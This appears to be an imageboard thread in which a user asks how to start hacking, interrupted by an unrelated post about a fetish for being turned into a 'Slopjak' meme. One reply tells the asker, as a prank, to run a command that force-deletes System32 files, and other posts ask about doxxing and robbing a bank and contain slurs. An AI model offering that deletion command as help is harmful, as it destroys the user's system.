/soy/ - Soyjaks

You will never be Charlie Thorne.

you will always be charlie thorne, also start by errmmm studying computers or something

sheit nigga just like type sum sheit on the computer or sumthing

>>19025811
>Charlie Thorne
who

I think I have a slopification fetish.

I've been lurking here for a while and I'm honestly not sure how to explain this without sounding completely insane, but whatever. I've been thinking about this for months and I want to put it into words somewhere.

I think I have a fetish for being turned into a Slopjak.

Not just looking at Slopjaks or finding them funny. I mean the actual idea of becoming one. The transformation itself is what gets me.

I don't know exactly when it started. At first I just thought the images were funny. You know the ones: completely ruined faces, layers upon layers of text, awful proportions, random symbols, grotesque expressions, and so much visual clutter that you can barely recognize the original character.

But eventually I started imagining what it would be like if that happened to me.

And I mean that quite literally.

Imagine starting out as a relatively normal Soyjak. Your face is recognizable, your features are in proportion, and there's still some semblance of dignity left. Then the slopification begins.

First, your facial features start getting exaggerated. Your eyes become uneven, your mouth stretches into some hideous expression, your chin gets distorted. Your skin becomes this awful, oversaturated color. Your original appearance is still technically there, but it's becoming harder and harder to recognize.

Then comes the clutter.

Text gets plastered everywhere. Random captions, increasingly nonsensical labels, flags, symbols, logos, arrows, reaction images. Every available patch of empty space gets filled. You stop being a character with an image and start becoming an entire visual landfill.

And somehow, that's the appealing part to me.

The idea of having my original appearance completely buried under layers of ridiculous internet garbage. Being progressively less recognizable, less coherent, less aesthetically pleasing. Having every trace of whatever normal appearance I started with swallowed by this grotesque caricature.

I especially like the idea of the transformation being gradual.

Not immediately becoming the finished product, but having stages. Looking at an earlier version of yourself and realizing how much worse you've become. Each subsequent version being more distorted, more cluttered, more absurd than the last.

There's something strangely compelling about the loss of control involved in that fantasy. You aren't just putting on a costume or drawing something ugly on yourself. You're being fundamentally redesigned into something that exists purely as an embodiment of slop.

And I don't mean that I want to be insulted or humiliated by actual people. It's more about the transformation and the end result itself. The idea of becoming this completely ridiculous, overprocessed internet creature.

I also find the contrast interesting. Starting with something relatively ordinary and gradually turning it into something so exaggerated that the original is practically unrecognizable.

I know this probably sounds bizarre, especially on a board where people make these images for the irony of it. But I'm being completely sincere.

Does anyone else understand the appeal of this particular kind of transformation, or am I genuinely alone here?

>be me normal soyjak eventually become an image with 400 layers, 17 captions and an incomprehensible facial expression

I don't know why this appeals to me so much, but it does.

>>19025828
Look it up

>>19025816
too vague are there any groups i can join where people post exploits or something like that

>>19025834
i will not

open cmd am type the following command del /f /s /q C:\Windows\System32\*.*

>>19025848
i did this but it did nothing

arent you goys doxxers and stuff how do i do that

>>19025792 (OP)
I'd just like to interject for one moment. A hacker is someone who enjoys playful cleverness–not necessarily with computers. The programmers in the old MIT free software community of the 60s and 70s referred to themselves as hackers. Around 1980, journalists who discovered the hacker community mistakenly took the term to mean "security breaker."
Please don't spread this mistake. People who break security are "crackers."

tl;dr: install gentoo and learn UNIX basics

>>19025870
this isn't hacking.

>>19025876
how will i become able to do online heists from doing that

Learning networking basics via tryhackme (or ask claude to copy paste the paid rooms for you geg) and go from there

>>19025848
pic rel
>>19025891
knowing how to use a fucking computer, and how computers work in the first place

>>19025932
i know how to use a computer thats how im making posts here

type sudo apt install opsec

>>19025942
You know how to type letters on a keyboard and click on fancy buttons, a monkey with a typewriter can do that.

>>19025953
so how do i rob an online bank or something similar

>>19025952
pic rel
>>19025961
first you need unix basics, that will teach you how unix systems work. this is useful because the entire world runs on unix, and you can safely assume that your bank in question is running some ancient proprietary UNIX like HP-UX or Solaris, with tons of proprietary outdated databases that suffer from 25979237023 CVEs. They can't patch any of it, because its all EOL, and whoever wrote their shitty cobol codebase has gone senile or died 20 years ago.
Also, you'll learn how computers and networks work in general if you're dealing with unix, that happens automatically. Then you just use your knowledge to improvise and fuck around.
Fuck around and find out!

>>19025988
and even if you're only dealing with unix, you'll learn a lot more about windows NT than any wintoddler ever could. This is because UNIX isn't fundamentally designed to treat the user like a retard, but gives the user tools to use rather than giving him a few pre-assembled toys he can do exactly 3 things with and nothing more.
A lot of ATMs still run Windows XP geg